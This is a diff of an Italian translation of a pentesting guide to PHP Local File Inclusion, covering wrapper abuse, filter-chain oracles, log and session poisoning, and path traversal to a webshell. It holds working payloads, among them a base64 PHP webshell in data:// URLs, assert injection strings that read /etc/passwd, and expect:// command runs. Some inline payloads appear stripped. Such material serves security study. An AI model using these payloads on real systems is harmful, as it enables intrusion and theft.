viene innescato a causa della moltiplicazione con la bomba iniziale. -- Usando altre trasformazioni come **rot13** all'inizio è possibile leakare altri char come n, o, p, q, r (e altri codecs possono essere usati per spostare altre lettere nell'intervallo hex). -- Quando il char iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per ottenere il numero. -- Il problema finale è vedere **come leakare più della lettera iniziale**. Usando memory order filters come **convert.iconv.UTF16.UTF-16BE**, **convert.iconv.UCS-4.UCS-4LE**, **convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e mettere in prima posizione altre lettere del testo. -- E per poter ottenere **dati successivi** l'idea è **generare 2 byte di junk all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli **pivotare con i successivi 2 byte**, e cancellare i dati fino al junk (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare. +- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando applichiamo abbastanza trasformazioni da farla non essere più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà generare l'errore di php. +- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a` per esempio perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non la elimina e l'errore php viene attivato perché si moltiplica con la bomba iniziale. +- Usando altre trasformazioni come **rot13** all'inizio è possibile leakare altri caratteri come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nell'intervallo hex). +- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per ottenere il numero. +- Il problema finale è capire **come leakare più della lettera iniziale**. Usando filtri di ordine della memoria come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e portare in prima posizione altre lettere del testo. +- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di junk all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli **pivotare con i successivi 2 byte**, e **cancellare i dati fino al junk** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a farlo finché non si raggiunge il bit desiderato da leakare. -Nel post è stato anche leakato uno strumento per eseguire tutto automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +Nel post è stato anche leakato uno strumento per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto di file aperti: +Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per esfiltrare il contenuto di file aperti: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Puoi anche usare **php://stdin, php://stdout and php://stderr** per accedere ai **descrittori di file 0, 1 e 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attack) +Puoi anche usare **php://stdin, php://stdout e php://stderr** per accedere ai **descrittori di file 0, 1 e 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attacco) -### zip:// and rar:// +### zip:// e rar:// -Carica un file Zip o Rar con una PHPShell all'interno e accedi ad esso.\ -Per poter abusare del protocollo rar, esso **deve essere specificamente attivato**. +Carica un file Zip o Rar con una PHPShell all'interno e accedi.\ +Per poter abusare del protocollo rar **deve essere specificamente attivato**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,18 +328,18 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Nota che questo protocollo è soggetto a restrizioni dalle configurazioni php **`allow_url_open`** e **`allow_url_include`** +Nota che questo protocollo è limitato dalle configurazioni php **`allow_url_open`** e **`allow_url_include`** ### expect:// -Expect deve essere attivato. Puoi eseguire codice usando questo: +Expect deve essere abilitato. Puoi eseguire codice usando questo: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -Specifica il tuo payload nei POST parameters: +Specifica il payload nei parametri POST: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` @@ -358,11 +358,11 @@ Per compilare il file `.phar`, eseguire il seguente comando: ```bash php --define phar.readonly=0 create_path.php ``` -Alla sua esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere potenzialmente sfruttato per abusare di vulnerabilità di Local File Inclusion (LFI). +Alla sua esecuzione verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per compromettere vulnerabilità di Local File Inclusion (LFI). -Nei casi in cui l'LFI esegua solo la lettura di file senza eseguire il codice PHP al loro interno, tramite funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, si può tentare lo sfruttamento di una vulnerabilità di deserialization. Questa vulnerabilità è associata alla lettura di file usando il protocollo `phar`. +Nel caso in cui l'LFI si limiti solamente alla lettura dei file senza eseguire il codice PHP al loro interno, tramite funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()`, si potrebbe tentare lo sfruttamento di una vulnerabilità di deserialization. Questa vulnerabilità è legata alla lettura di file usando il protocollo `phar`. -Per una comprensione dettagliata di come sfruttare vulnerabilità di deserialization nel contesto dei file `.phar`, fare riferimento al documento linkato di seguito: +Per una comprensione dettagliata dello sfruttamento delle vulnerabilità di deserialization nel contesto dei file `.phar`, consultare il documento linkato qui sotto: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -374,31 +374,31 @@ phar-deserialization.md ### CVE-2024-2961 È stato possibile abusare di **any arbitrary file read from PHP that supports php filters** per ottenere una RCE. La descrizione dettagliata può essere [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Riepilogo molto rapido: un **3 byte overflow** nell'heap di PHP è stato abusato per **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, quindi è stato aggiunto un hook per chiamare **`system`**.\ -È stato possibile alloc chunks di dimensioni specifiche abusando di più php filters. +Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **alterare la catena di free chunks** di una specifica dimensione al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\ +È stato possibile allocare chunk di dimensioni specifiche abusando di altri php filters. -### More protocols +### Altri protocolli -Controlla altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** +Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s) - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Stream di compressione -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathnames che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathnames che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è veramente utile qui) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (Non utile per leggere file arbitrari) -## LFI via 'assert' di PHP +## LFI tramite 'assert' di PHP -Il rischio di Local File Inclusion (LFI) in PHP è particolarmente elevato quando si tratta della funzione 'assert', che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se un input contenente caratteri di directory traversal come ".." viene controllato ma non correttamente sanificato. +I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si usa la funzione 'assert', che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se l'input contenente caratteri di directory traversal come ".." viene verificato ma non correttamente sanitizzato. -Per esempio, il codice PHP potrebbe essere progettato per prevenire directory traversal in questo modo: +Ad esempio, il codice PHP potrebbe essere progettato per prevenire il directory traversal in questo modo: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Sebbene questo miri a impedire traversal, crea involontariamente un vettore per code injection. Per sfruttare questo per leggere il contenuto dei file, un attacker potrebbe usare: +Sebbene ciò miri a bloccare il traversal, crea involontariamente un vettore per l'iniezione di codice. Per sfruttarlo per leggere il contenuto dei file, un attaccante potrebbe usare: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -406,20 +406,20 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare: ```plaintext ' and die(system("id")) or ' ``` -È importante **URL-encode these payloads**. +È importante **URL-encode questi payload**. ## PHP Blind Path Traversal > [!WARNING] -> Questa tecnica è rilevante nei casi in cui tu **controlli** il **file path** di una **funzione PHP** che accederà a un file ma non vedrai il contenuto del file (per esempio una semplice chiamata a **`file()`**) e il contenuto non viene mostrato. +> Questa tecnica è rilevante nei casi in cui tu **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato. -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) è spiegato come un blind path traversal può essere abusato tramite PHP filter per **exfiltrate the content of a file via an error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) è spiegato come un blind path traversal possa essere abusato tramite PHP filter per **esfiltrare il contenuto di un file tramite un error oracle**. -In sintesi, la tecnica utilizza la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **PHP function** che apre il file scatenerà un **errore**. +In sintesi, la tecnica utilizza la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **PHP function che apre** il file genererà un **errore**. -Poi, per leak il primo carattere viene usato il filter **`dechunk`** insieme ad altri come **base64** o **rot13** e infine i filter **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per mettere altri caratteri all'inizio e leakarli. +Poi, per leakare il primo carattere viene usato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per **posizionare altri caratteri all'inizio e leakarli**. -**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Per i dettagli tecnici controlla il post menzionato! @@ -427,20 +427,20 @@ Per i dettagli tecnici controlla il post menzionato! ### Arbitrary File Write via Path Traversal (Webshell RCE) -Quando il codice server-side che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall'utente (es. un filename o una URL) senza canonicalizzare e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare un arbitrary file write. Se puoi piazzare il payload sotto una directory esposta al web, di solito ottieni una unauthenticated RCE droppando una webshell. +Quando il codice server-side che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall'utente (ad es., un filename o un URL) senza canonicalizzare e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria su file. Se puoi posizionare il payload in una directory esposta dal web, di solito ottieni RCE non autenticata lasciando una webshell. -Tipico workflow di exploitation: -- Identificare un write primitive in un endpoint o in un background worker che accetta un percorso/filename e scrive contenuto su disco (es. ingestion guidata da messaggi, handler di comandi XML/JSON, extractor di ZIP, ecc.). -- Determinare le directory esposte al web. Esempi comuni: -- Apache/PHP: `/var/www/html/` -- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` -- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Costruire un percorso di traversal che esce dalla directory di storage prevista verso la webroot, e includere il contenuto della webshell. -- Navigare al payload droppato ed eseguire comandi. +Tipico workflow di sfruttamento: +- Identificare un write primitive in un endpoint o in un background worker che accetta un path/filename e scrive contenuto su disco (ad es., ingestion driven by messages, XML/JSON command handlers, ZIP extractors, ecc.). +- Determinare le directory esposte dal web. Esempi comuni: + - Apache/PHP: `/var/www/html/` + - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` + - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- Creare un percorso con traversal che esca dalla directory di storage prevista verso la webroot e includere il contenuto della webshell. +- Visitare il payload droppato ed eseguire comandi. Note: -- Il servizio vulnerabile che esegue la scrittura potrebbe ascoltare su una porta non-HTTP (es. un listener JMF XML su TCP 4004). Il portale web principale (porta diversa) servirà in seguito il tuo payload. -- Su stack Java, queste scritture su file sono spesso implementate con una semplice concatenazione `File`/`Paths`. La mancanza di canonicalizzazione/allow-listing è il difetto principale. +- Il servizio vulnerabile che esegue la scrittura potrebbe ascoltare su una porta non-HTTP (ad es., un JMF XML listener su TCP 4004). Il portale web principale (su porta diversa) servirà poi il tuo payload. +- Nelle stack Java, queste scritture su file sono spesso implementate con semplice concatenazione di `File`/`Paths`. La mancanza di canonicalizzazione/allow-listing è il difetto principale. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -467,24 +467,24 @@ in.transferTo(out); ``` Hardening che neutralizza questa classe di bug: -- Risolvere in un percorso canonico e imporre che sia discendente di una directory base allow-listed. -- Rifiutare qualsiasi percorso contenente `..`, root assoluti, o lettere di drive; preferire filenames generati. -- Eseguire il writer con un account a privilegi ridotti e segregare le directory di scrittura dalle radici servite. +- Risolvere al percorso canonico e assicurarsi che sia un discendente di una directory di base consentita. +- Rifiutare qualsiasi percorso contenente `..`, root assoluti, o lettere di drive; preferire nomi di file generati. +- Eseguire il writer con un account a basso privilegio e separare le directory di scrittura dalle root servite. ## Remote File Inclusion -Spiegato in precedenza, [**segui questo link**](#remote-file-inclusion). +Spiegato in precedenza, [**follow this link**](#remote-file-inclusion). -### Via Apache/Nginx log file +### Tramite file di log Apache/Nginx -Se il server Apache o Nginx è **vulnerable to LFI** dentro la funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserendo nell'**user agent** o in un **GET parameter** una php shell come **``** e includere quel file +Se il server Apache o Nginx è **vulnerabile a LFI** nella funzione di include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserire nel **user agent** o in un **GET parameter** una php shell come **``** e includere quel file > [!WARNING] -> Nota che **se usi le double quotes** per la shell invece delle **simple quotes**, le double quotes verranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** e **niente verrà eseguito**. +> Nota che **se usi le virgolette doppie** per la shell invece delle **virgolette singole**, le virgolette doppie saranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** lì e **null'altro verrà eseguito**. > -> Inoltre, assicurati di **write correctly the payload** o PHP darà errore ogni volta che tenterà di caricare il file di log e non avrai una seconda opportunità. +> Inoltre, assicurati di **scrivere correttamente il payload** altrimenti PHP restituirà un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità. -Questo può essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 e viene decodificato all'interno dei log. La PHPShell potrebbe essere inserita dentro questo header.\ +Questo può essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 ed è decodificato all'interno dei log. La PHPShell potrebbe essere inserita dentro questo header.\ Altri possibili percorsi di log: ```python /var/log/apache2/access.log @@ -505,33 +505,33 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Tramite /proc/\*/fd/\* -1. Carica molte shell (per esempio: 100) -2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere brute forced) e $FD = file descriptor (può essere brute forced anch'esso) +1. Carica molte shells (ad esempio: 100) +2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere ottenuto tramite brute force) e $FD il file descriptor (anche questo può essere ottenuto tramite brute force) ### Tramite /proc/self/environ -Come un file di log, invia il payload nello User-Agent; sarà riflesso all'interno del file /proc/self/environ +Come un file di log, invia il payload nel User-Agent; sarà riflesso all'interno del file /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Via upload +### Tramite upload -Se puoi effettuare l'upload di un file, inietta semplicemente il shell payload al suo interno (es.: ``). +Se puoi uploadare un file, basta iniettare il shell payload al suo interno (es.: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Per mantenere il file leggibile è meglio iniettare nei metadati delle immagini/doc/pdf +Per mantenere il file leggibile è meglio iniettare nei metadati di immagini/documenti/pdf -### Via upload di file ZIP +### Via upload di file Zip -Carica un file ZIP contenente una PHP shell compressa e accedi: +Carica un file ZIP contenente una shell PHP compressa e accedi: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Tramite PHP sessions -Controlla se il sito usa PHP Session (PHPSESSID) +Controlla se il sito utilizza PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly @@ -549,28 +549,28 @@ Usa la LFI per includere il file di sessione PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### Tramite ssh +### Via ssh Se ssh è attivo, verifica quale utente viene usato (/proc/self/status & /etc/passwd) e prova ad accedere a **\/.ssh/id_rsa** -### **Tramite** **vsftpd** _**logs**_ +### **Via** **vsftpd** _**logs**_ -I log del server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nello scenario in cui esista una vulnerabilità di Local File Inclusion (LFI), e sia possibile accedere a un server vsftpd esposto, possono essere considerate le seguenti operazioni: +I log del server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nel caso in cui sia presente una Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi: 1. Inietta un payload PHP nel campo username durante il processo di login. 2. Dopo l'iniezione, utilizza la LFI per recuperare i log del server da _**/var/log/vsftpd.log**_. -### Tramite php base64 filter (using base64) +### Via php base64 filter (using base64) -Come mostrato in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter ignora i caratteri non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci base64 che termina con ".php", ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload: +As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci base64 che termina con ".php", il filtro ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Via php filters (non è necessario un file) +### Via php filters (nessun file richiesto) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters per generare contenuto arbitrario** come output. Il che significa fondamentalmente che puoi **generare codice php arbitrario** per l'include **senza doverlo scrivere** in un file. +Questo [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters to generate arbitrary content** come output. Il che fondamentalmente significa che puoi **generate arbitrary php code** per l'include **without needing to write** it in un file. {{#ref}} @@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -Carica un file che verrà memorizzato come temporaneo in `/tmp`, poi nella stessa richiesta provoca un segmentation fault; il file temporaneo non verrà eliminato e potrai cercarlo. +**Upload** un file che sarà memorizzato come **temporary** in `/tmp`, poi nella **same request,** scatena un **segmentation fault**, e allora il **temporary file won't be deleted** e potrai cercarlo. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Via Nginx memorizzazione temporanea dei file +### Via Nginx temp file storage -Se hai trovato una Local File Inclusion e Nginx è in esecuzione davanti a PHP, potresti ottenere RCE con la seguente tecnica: +Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a PHP potresti essere in grado di ottenere RCE con la seguente tecnica: {{#ref}} @@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Se hai trovato una Local File Inclusion anche se non hai una sessione e `session.auto_start` è `Off`. Se fornisci **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP abiliterà la sessione per te. Puoi abusarne per ottenere RCE: +Se trovi una **Local File Inclusion** anche se **don't have a session** e `session.auto_start` è `Off`. Se fornisci il **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **enable the session for you**. Potresti abusarne per ottenere RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Via upload di file temporanei in Windows +### Via temp file uploads in Windows -Se hai trovato una Local File Inclusion e il server gira su Windows, potresti ottenere RCE: +Se trovi una **Local File Inclusion** e il server gira su **Windows** potresti ottenere RCE: {{#ref}} @@ -615,7 +615,7 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), lo script `/usr/local/lib/phppearcmd.php` esiste di default nelle php docker images. Inoltre, è possibile passare argomenti allo script via URL perché è indicato che se un parametro URL non ha un `=`, dovrebbe essere usato come argomento. Vedi anche [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: ```bash @@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Se hai trovato una **Local File Inclusion** e puoi **exfiltrate the path** del file temporaneo MA il **server** sta **checking** se il **file to be included has PHP marks**, puoi provare a **bypass that check** con questa **Race Condition**: +Se hai trovato una **Local File Inclusion** e puoi **esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere contiene marker PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**: {{#ref}} @@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Via eternal waiting + bruteforce -Se puoi abusare della LFI per **upload temporary files** e far **hang** l'esecuzione PHP, potresti poi **brute force filenames during hours** per trovare il file temporaneo: +Se puoi abusare della LFI per caricare file temporanei e far bloccare l'esecuzione PHP del server, potresti poi provare a brute-forceare i nomi dei file per ore per trovare il file temporaneo: {{#ref}} @@ -657,13 +657,14 @@ lfi2rce-via-eternal-waiting.md ### To Fatal Error -Se includi uno qualsiasi dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 time per generare quell'errore). +Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per generare quell'errore). **Non so quanto possa essere utile ma potrebbe esserlo.**\ -_Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono cancellati._ +_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
+ ## Riferimenti - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)